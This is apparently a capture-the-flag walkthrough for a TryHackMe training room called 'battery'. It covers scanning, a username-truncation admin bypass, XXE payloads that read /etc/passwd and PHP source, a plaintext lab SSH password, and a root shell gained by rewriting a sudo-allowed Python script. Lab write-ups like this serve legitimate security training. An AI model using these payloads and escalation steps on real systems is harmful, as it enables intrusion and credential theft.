battery

Room Link: https://tryhackme.com/r/room/battery

Scans

Kali

nmap -A $VICTIM

Longer scan

Kali

nmap -sV -sT -O -p 1-65535 $VICTIM

TCP/80 - HTTP

Kali

gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt

File Inspection

Kali

cat report 

Kali

strings report 

Bypass Login Restrictions.

Based off we saw in the file there is a admin user. The username field has a character limit which will stop us from registering a username that is too long but we can try in burp.

The original request. It will fail to register.

We can just add a random character to the end which will cut off and then it will register the user as admin.

We can now login as the admin user

XEE - Read files

Add

<!DOCTYPE replace [<!ENTITY test SYSTEM "file:///etc/passwd"> ]>

<search>&test;</search>

Add

<!DOCTYPE replace [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=acc.php"> ]>

<search>&test;</search>

We echo and decode the file and we see the creds for the user cyber which we saw above has an account to the OS level of the box.

Kali

echo "PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KPHN0eWxlPgpmb3JtCnsKICBib3JkZXI6IDJweCBzb2xpZCBibGFjazsKICBvdXRsaW5lOiAjNENBRjUwIHNvbGlkIDNweDsKICBtYXJnaW46IGF1dG87CiAgd2lkdGg6MTgwcHg7CiAgcGFkZGluZzogMjBweDsKICB0ZXh0LWFsaWduOiBjZW50ZXI7Cn0KCgp1bCB7CiAgbGlzdC1zdHlsZS10eXBlOiBub25lOwogIG1hcmdpbjogMDsKICBwYWRkaW5nOiAwOwogIG92ZXJmbG93OiBoaWRkZW47CiAgYmFja2dyb3VuZC1jb2xvcjogIzMzMzsKfQoKbGkgewogIGZsb2F0OiBsZWZ0OwogIGJvcmRlci1yaWdodDoxcHggc29saWQgI2JiYjsKfQoKbGk6bGFzdC1jaGlsZCB7CiAgYm9yZGVyLXJpZ2h0OiBub25lOwp9CgpsaSBhIHsKICBkaXNwbGF5OiBibG9jazsKICBjb2xvcjogd2hpdGU7CiAgdGV4dC1hbGlnbjogY2VudGVyOwogIHBhZGRpbmc6IDE0cHggMTZweDsKICB0ZXh0LWRlY29yYXRpb246IG5vbmU7Cn0KCmxpIGE6aG92ZXI6bm90KC5hY3RpdmUpIHsKICBiYWNrZ3JvdW5kLWNvbG9yOiAjMTExOwp9CgouYWN0aXZlIHsKICBiYWNrZ3JvdW5kLWNvbG9yOiBibHVlOwp9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+Cgo8dWw+CiAgPGxpPjxhIGhyZWY9ImRhc2hib2FyZC5waHAiPkRhc2hib2FyZDwvYT48L2xpPgogIDxsaT48YSBocmVmPSJ3aXRoLnBocCI+V2l0aGRyYXcgTW9uZXk8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0iZGVwby5waHAiPkRlcG9zaXQgTW9uZXk8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0idHJhLnBocCI+VHJhbnNmZXIgTW9uZXk8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0iYWNjLnBocCI+TXkgQWNjb3VudDwvYT48L2xpPgogIDxsaT48YSBocmVmPSJmb3Jtcy5waHAiPmNvbW1hbmQ8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0ibG9nb3V0LnBocCI+TG9nb3V0PC9hPjwvbGk+CiAgPGxpIHN0eWxlPSJmbG9hdDpyaWdodCI+PGEgaHJlZj0iY29udGFjdC5waHAiPkNvbnRhY3QgVXM8L2E+PC9saT4KPC91bD48YnI+PGJyPjxicj48YnI+Cgo8L2JvZHk+CjwvaHRtbD4KCjw/cGhwCgpzZXNzaW9uX3N0YXJ0KCk7CmlmKGlzc2V0KCRfU0VTU0lPTlsnZmF2Y29sb3InXSkgYW5kICRfU0VTU0lPTlsnZmF2Y29sb3InXT09PSJhZG1pbkBiYW5rLmEiKQp7CgplY2hvICI8aDMgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+V2VjbG9tZSB0byBBY2NvdW50IGNvbnRyb2wgcGFuZWw8L2gzPiI7CmVjaG8gIjxmb3JtIG1ldGhvZD0nUE9TVCc+IjsKZWNobyAiPGlucHV0IHR5cGU9J3RleHQnIHBsYWNlaG9sZGVyPSdBY2NvdW50IG51bWJlcicgbmFtZT0nYWNubyc+IjsKZWNobyAiPGJyPjxicj48YnI+IjsKZWNobyAiPGlucHV0IHR5cGU9J3RleHQnIHBsYWNlaG9sZGVyPSdNZXNzYWdlJyBuYW1lPSdtc2cnPiI7CmVjaG8gIjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdTZW5kJyBuYW1lPSdidG4nPiI7CmVjaG8gIjwvZm9ybT4iOwovL01ZIENSRURTIDotIGN5YmVyOnN1cGVyI3NlY3VyZSZwYXNzd29yZCEKaWYoaXNzZXQoJF9QT1NUWydidG4nXSkpCnsKJG1zPSRfUE9TVFsnbXNnJ107CmVjaG8gIm1zOiIuJG1zOwppZigkbXM9PT0iaWQiKQp7CnN5c3RlbSgkbXMpOwp9CmVsc2UgaWYoJG1zPT09Indob2FtaSIpCnsKc3lzdGVtKCRtcyk7Cn0KZWxzZQp7CmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ1JDRSBEZXRlY3RlZCEnKTwvc2NyaXB0PiI7CnNlc3Npb25fZGVzdHJveSgpOwp1bnNldCgkX1NFU1NJT05bJ2ZhdmNvbG9yJ10pOwpoZWFkZXIoIlJlZnJlc2g6IDAuMTsgdXJsPWluZGV4Lmh0bWwiKTsKfQp9Cn0KZWxzZQp7CmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ09ubHkgQWRtaW5zIGNhbiBhY2Nlc3MgdGhpcyBwYWdlIScpPC9zY3JpcHQ+IjsKc2Vzc2lvbl9kZXN0cm95KCk7CnVuc2V0KCRfU0VTU0lPTlsnZmF2Y29sb3InXSk7CmhlYWRlcigiUmVmcmVzaDogMC4xOyB1cmw9aW5kZXguaHRtbCIpOwp9Cj8+Cg==" | base64 -d

TCP/22 - SSH

Kali

ssh cyber@$VICTIM
Password: super#secure&password!

Privilege Escalation

Victim

sudo -l

Victim

cd /home/cyber
mv run.py run.py.bak 

run.py

import os
os.system("/bin/bash")

Victim

sudo /usr/bin/python3 /home/cyber/run.py